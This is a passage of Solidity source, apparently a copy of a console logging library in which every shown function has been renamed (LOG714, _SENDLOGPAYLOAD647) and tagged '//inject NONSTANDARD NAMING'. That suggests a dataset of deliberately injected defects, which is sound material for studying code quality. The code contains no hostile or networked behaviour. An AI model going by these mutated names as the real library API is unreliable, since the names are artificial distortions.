p3)); } function LOG714(uint p0, uint p1, string memory p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,uint,string,string)", p0, p1, p2, p3)); } function LOG714(uint p0, uint p1, string memory p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,uint,string,bool)", p0, p1, p2, p3)); } function LOG714(uint p0, uint p1, string memory p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,uint,string,address)", p0, p1, p2, p3)); } function LOG714(uint p0, uint p1, bool p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,uint,bool,uint)", p0, p1, p2, p3)); } function LOG714(uint p0, uint p1, bool p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,uint,bool,string)", p0, p1, p2, p3)); } function LOG714(uint p0, uint p1, bool p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,uint,bool,bool)", p0, p1, p2, p3)); } function LOG714(uint p0, uint p1, bool p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,uint,bool,address)", p0, p1, p2, p3)); } function LOG714(uint p0, uint p1, address p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,uint,address,uint)", p0, p1, p2, p3)); } function LOG714(uint p0, uint p1, address p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,uint,address,string)", p0, p1, p2, p3)); } function LOG714(uint p0, uint p1, address p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,uint,address,bool)", p0, p1, p2, p3)); } function LOG714(uint p0, uint p1, address p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,uint,address,address)", p0, p1, p2, p3)); } function LOG714(uint p0, string memory p1, uint p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,string,uint,uint)", p0, p1, p2, p3)); } function LOG714(uint p0, string memory p1, uint p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,string,uint,string)", p0, p1, p2, p3)); } function LOG714(uint p0, string memory p1, uint p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,string,uint,bool)", p0, p1, p2, p3)); } function LOG714(uint p0, string memory p1, uint p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,string,uint,address)", p0, p1, p2, p3)); } function LOG714(uint p0, string memory p1, string memory p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,string,string,uint)", p0, p1, p2, p3)); } function LOG714(uint p0, string memory p1, string memory p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,string,string,string)", p0, p1, p2, p3)); } function LOG714(uint p0, string memory p1, string memory p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,string,string,bool)", p0, p1, p2, p3)); } function LOG714(uint p0, string memory p1, string memory p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,string,string,address)", p0, p1, p2, p3)); } function LOG714(uint p0, string memory p1, bool p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,string,bool,uint)", p0, p1, p2, p3)); } function LOG714(uint p0, string memory p1, bool p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,string,bool,string)", p0, p1, p2, p3)); } function LOG714(uint p0, string memory p1, bool p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,string,bool,bool)", p0, p1, p2, p3)); } function LOG714(uint p0, string memory p1, bool p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,string,bool,address)", p0, p1, p2, p3)); } function LOG714(uint p0, string memory p1, address p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,string,address,uint)", p0, p1, p2, p3)); } function LOG714(uint p0, string memory p1, address p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,string,address,string)", p0, p1, p2, p3)); } function LOG714(uint p0, string memory p1, address p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,string,address,bool)", p0, p1, p2, p3)); } function LOG714(uint p0, string memory p1, address p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,string,address,address)", p0, p1, p2, p3)); } function LOG714(uint p0, bool p1, uint p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,bool,uint,uint)", p0, p1, p2, p3)); } function LOG714(uint p0, bool p1, uint p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,bool,uint,string)", p0, p1, p2, p3)); } function LOG714(uint p0, bool p1, uint p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,bool,uint,bool)", p0, p1, p2, p3)); } function LOG714(uint p0, bool p1, uint p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,bool,uint,address)", p0, p1, p2, p3)); } function LOG714(uint p0, bool p1, string memory p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,bool,string,uint)", p0, p1, p2, p3)); } function LOG714(uint p0, bool p1, string memory p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,bool,string,string)", p0, p1, p2, p3)); } function LOG714(uint p0, bool p1, string memory p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,bool,string,bool)", p0, p1, p2, p3)); } function LOG714(uint p0, bool p1, string memory p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,bool,string,address)", p0, p1, p2, p3)); } function LOG714(uint p0, bool p1, bool p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,bool,bool,uint)", p0, p1, p2, p3)); } function LOG714(uint p0, bool p1, bool p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,bool,bool,string)", p0, p1, p2, p3)); } function LOG714(uint p0, bool p1, bool p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,bool,bool,bool)", p0, p1, p2, p3)); } function LOG714(uint p0, bool p1, bool p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,bool,bool,address)", p0, p1, p2, p3)); } function LOG714(uint p0, bool p1, address p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,bool,address,uint)", p0, p1, p2, p3)); } function LOG714(uint p0, bool p1, address p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,bool,address,string)", p0, p1, p2, p3)); } function LOG714(uint p0, bool p1, address p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,bool,address,bool)", p0, p1, p2, p3)); } function LOG714(uint p0, bool p1, address p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,bool,address,address)", p0, p1, p2, p3)); } function LOG714(uint p0, address p1, uint p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,address,uint,uint)", p0, p1, p2, p3)); } function LOG714(uint p0, address p1, uint p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,address,uint,string)", p0, p1, p2, p3)); } function LOG714(uint p0, address p1, uint p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,address,uint,bool)", p0, p1, p2, p3)); } function LOG714(uint p0, address p1, uint p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,address,uint,address)", p0, p1, p2, p3)); } function LOG714(uint p0, address p1, string memory p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,address,string,uint)", p0, p1, p2, p3)); } function LOG714(uint p0, address p1, string memory p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,address,string,string)", p0, p1, p2, p3)); } function LOG714(uint p0, address p1, string memory p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,address,string,bool)", p0, p1, p2, p3)); } function LOG714(uint p0, address p1, string memory p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,address,string,address)", p0, p1, p2, p3)); } function LOG714(uint p0, address p1, bool p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,address,bool,uint)", p0, p1, p2, p3)); } function LOG714(uint p0, address p1, bool p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,address,bool,string)", p0, p1, p2, p3)); } function LOG714(uint p0, address p1, bool p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,address,bool,bool)", p0, p1, p2, p3)); } function LOG714(uint p0, address p1, bool p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,address,bool,address)", p0, p1, p2, p3)); } function LOG714(uint p0, address p1, address p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,address,address,uint)", p0, p1, p2, p3)); } function LOG714(uint p0, address p1, address p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,address,address,string)", p0, p1, p2, p3)); } function LOG714(uint p0, address p1, address p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,address,address,bool)", p0, p1, p2, p3)); } function LOG714(uint p0, address p1, address p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,address,address,address)", p0, p1, p2, p3)); } function LOG714(string memory p0, uint p1, uint p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,uint,uint,uint)", p0, p1, p2, p3)); } function LOG714(string memory p0, uint p1, uint p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,uint,uint,string)", p0, p1, p2, p3)); } function LOG714(string memory p0, uint p1, uint p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,uint,uint,bool)", p0, p1, p2, p3)); } function LOG714(string memory p0, uint p1, uint p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,uint,uint,address)", p0, p1, p2, p3)); } function LOG714(string memory p0, uint p1, string memory p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,uint,string,uint)", p0, p1, p2, p3)); } function LOG714(string memory p0, uint p1, string memory p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,uint,string,string)", p0, p1, p2, p3)); } function LOG714(string memory p0, uint p1, string memory p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,uint,string,bool)", p0, p1, p2, p3)); } function LOG714(string memory p0, uint p1, string memory p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,uint,string,address)", p0, p1, p2, p3)); } function LOG714(string memory p0, uint p1, bool p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,uint,bool,uint)", p0, p1, p2, p3)); } function LOG714(string memory p0, uint p1, bool p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,uint,bool,string)", p0, p1, p2, p3)); } function LOG714(string memory p0, uint p1, bool p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,uint,bool,bool)", p0, p1, p2, p3)); } function LOG714(string memory p0, uint p1, bool p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,uint,bool,address)", p0, p1, p2, p3)); } function LOG714(string memory p0, uint p1, address p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,uint,address,uint)", p0, p1, p2, p3)); } function LOG714(string memory p0, uint p1, address p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,uint,address,string)", p0, p1, p2, p3)); } function LOG714(string memory p0, uint p1, address p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,uint,address,bool)", p0, p1, p2, p3)); } function LOG714(string memory p0, uint p1, address p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,uint,address,address)", p0, p1, p2, p3)); } function LOG714(string memory p0, string memory p1, uint p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,string,uint,uint)", p0, p1, p2, p3)); } function LOG714(string memory p0, string memory p1, uint p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,string,uint,string)", p0, p1, p2, p3)); } function LOG714(string memory p0, string memory p1, uint p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,string,uint,bool)", p0, p1, p2, p3)); } function LOG714(string memory p0, string memory p1, uint p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,string,uint,address)", p0, p1, p2, p3)); } function LOG714(string memory p0, string memory p1, string memory p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,string,string,uint)", p0, p1, p2, p3)); } function LOG714(string memory p0, string memory p1, string memory p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,string,string,string)", p0, p1, p2, p3)); } function LOG714(string memory p0, string memory p1, string memory p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,string,string,bool)", p0, p1, p2, p3)); } function LOG714(string memory p0, string memory p1, string memory p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,string,string,address)", p0, p1, p2, p3)); } function LOG714(string memory p0, string memory p1, bool p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,string,bool,uint)", p0, p1, p2, p3)); } function LOG714(string memory p0, string memory p1, bool p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,string,bool,string)", p0, p1, p2, p3)); } function LOG714(string memory p0, string memory p1, bool p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,string,bool,bool)", p0, p1, p2, p3)); } function LOG714(string memory p0, string memory p1, bool p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,string,bool,address)", p0, p1, p2, p3)); } function LOG714(string memory p0, string memory p1, address p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,string,address,uint)", p0, p1, p2, p3)); } function LOG714(string memory p0, string memory p1, address p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,string,address,string)", p0, p1, p2, p3)); } function LOG714(string memory p0, string memory p1, address p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,string,address,bool)", p0, p1, p2, p3)); } function LOG714(string memory p0, string memory p1, address p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,string,address,address)", p0, p1, p2, p3)); } function LOG714(string memory p0, bool p1, uint p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,bool,uint,uint)", p0, p1, p2, p3)); } function LOG714(string memory p0, bool p1, uint p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,bool,uint,string)", p0, p1, p2, p3)); } function LOG714(string memory p0, bool p1, uint p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,bool,uint,bool)", p0, p1, p2, p3)); } function LOG714(string memory p0, bool p1, uint p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,bool,uint,address)", p0, p1, p2, p3)); } function LOG714(string memory p0, bool p1, string memory p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,bool,string,uint)", p0, p1, p2, p3)); } function LOG714(string memory p0, bool p1, string memory p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,bool,string,string)", p0, p1, p2, p3)); } function LOG714(string memory p0, bool p1, string memory p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,bool,string,bool)", p0, p1, p2, p3)); } function LOG714(string memory p0, bool p1, string memory p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,bool,string,address)", p0, p1, p2, p3)); } function LOG714(string memory p0, bool p1, bool p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,bool,bool,uint)", p0, p1, p2, p3)); } function LOG714(string memory p0, bool p1, bool p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,bool,bool,string)", p0, p1, p2, p3)); } function LOG714(string memory p0, bool p1, bool p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,bool,bool,bool)", p0, p1, p2, p3)); } function LOG714(string memory p0, bool p1, bool p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,bool,bool,address)", p0, p1, p2, p3)); } function LOG714(string memory p0, bool p1, address p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,bool,address,uint)", p0, p1, p2, p3)); } function LOG714(string memory p0, bool p1, address p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,bool,address,string)", p0, p1, p2, p3)); } function LOG714(string memory p0, bool p1, address p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,bool,address,bool)", p0, p1, p2, p3)); } function LOG714(string memory p0, bool p1, address p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,bool,address,address)", p0, p1, p2, p3)); } function LOG714(string memory p0, address p1, uint p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,address,uint,uint)", p0, p1, p2, p3)); } function LOG714(string memory p0, address p1, uint p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,address,uint,string)", p0, p1, p2, p3)); } function LOG714(string memory p0, address p1, uint p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,address,uint,bool)", p0, p1, p2, p3)); } function LOG714(string memory p0, address p1, uint p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,address,uint,address)", p0, p1, p2, p3)); } function LOG714(string memory p0, address p1, string memory p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,address,string,uint)", p0, p1, p2, p3)); } function LOG714(string memory p0, address p1, string memory p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,address,string,string)", p0, p1, p2, p3)); } function LOG714(string memory p0, address p1, string memory p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,address,string,bool)", p0, p1, p2, p3)); } function LOG714(string memory p0, address p1, string memory p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,address,string,address)", p0, p1, p2, p3)); } function LOG714(string memory p0, address p1, bool p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,address,bool,uint)", p0, p1, p2, p3)); } function LOG714(string memory p0, address p1, bool p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,address,bool,string)", p0, p1, p2, p3)); } function LOG714(string memory p0, address p1, bool p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,address,bool,bool)", p0, p1, p2, p3)); } function LOG714(string memory p0, address p1, bool p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,address,bool,address)", p0, p1, p2, p3)); } function LOG714(string memory p0, address p1, address p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,address,address,uint)", p0, p1, p2, p3)); } function LOG714(string memory p0, address p1, address p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,address,address,string)", p0, p1, p2, p3)); } function LOG714(string memory p0, address p1, address p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,address,address,bool)", p0, p1, p2, p3)); } function LOG714(string memory p0, address p1, address p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,address,address,address)", p0, p1, p2, p3)); } function LOG714(bool p0, uint p1, uint p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,uint,uint,uint)", p0, p1, p2, p3)); } function LOG714(bool p0, uint p1, uint p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,uint,uint,string)", p0, p1, p2, p3)); } function LOG714(bool p0, uint p1, uint p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,uint,uint,bool)", p0, p1, p2, p3)); } function LOG714(bool p0, uint p1, uint p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,uint,uint,address)", p0, p1, p2, p3)); } function LOG714(bool p0, uint p1, string memory p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,uint,string,uint)", p0, p1, p2, p3)); } function LOG714(bool p0, uint p1, string memory p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,uint,string,string)", p0, p1, p2, p3)); } function LOG714(bool p0, uint p1, string memory p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,uint,string,bool)", p0, p1, p2, p3)); } function LOG714(bool p0, uint p1, string memory p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,uint,string,address)", p0, p1, p2, p3)); } function LOG714(bool p0, uint p1, bool p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,uint,bool,uint)", p0, p1, p2, p3)); } function LOG714(bool p0, uint p1, bool p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,uint,bool,string)", p0, p1, p2, p3)); } function LOG714(bool p0, uint p1, bool p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,uint,bool,bool)", p0, p1, p2, p3)); } function LOG714(bool p0, uint p1, bool p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,uint,bool,address)", p0, p1, p2, p3)); } function LOG714(bool p0, uint p1, address p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,uint,address,uint)", p0, p1, p2, p3)); } function LOG714(bool p0, uint p1, address p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,uint,address,string)", p0, p1, p2, p3)); } function LOG714(bool p0, uint p1, address p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,uint,address,bool)", p0, p1, p2, p3)); } function LOG714(bool p0, uint p1, address p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,uint,address,address)", p0, p1, p2, p3)); } function LOG714(bool p0, string memory p1, uint p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,string,uint,uint)", p0, p1, p2, p3)); } function LOG714(bool p0, string memory p1, uint p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,string,uint,string)", p0, p1, p2, p3)); } function LOG714(bool p0, string memory p1, uint p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,string,uint,bool)", p0, p1, p2, p3)); } function LOG714(bool p0, string memory p1, uint p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,string,uint,address)", p0, p1, p2, p3)); } function LOG714(bool p0, string memory p1, string memory p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,string,string,uint)", p0, p1, p2, p3)); } function LOG714(bool p0, string memory p1, string memory p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,string,string,string)", p0, p1, p2, p3)); } function LOG714(bool p0, string memory p1, string memory p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,string,string,bool)", p0, p1, p2, p3)); } function LOG714(bool p0, string memory p1, string memory p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,string,string,address)", p0, p1, p2, p3)); } function LOG714(bool p0, string memory p1, bool p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,string,bool,uint)", p0, p1, p2, p3)); } function LOG714(bool p0, string memory p1, bool p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,string,bool,string)", p0, p1, p2, p3)); } function 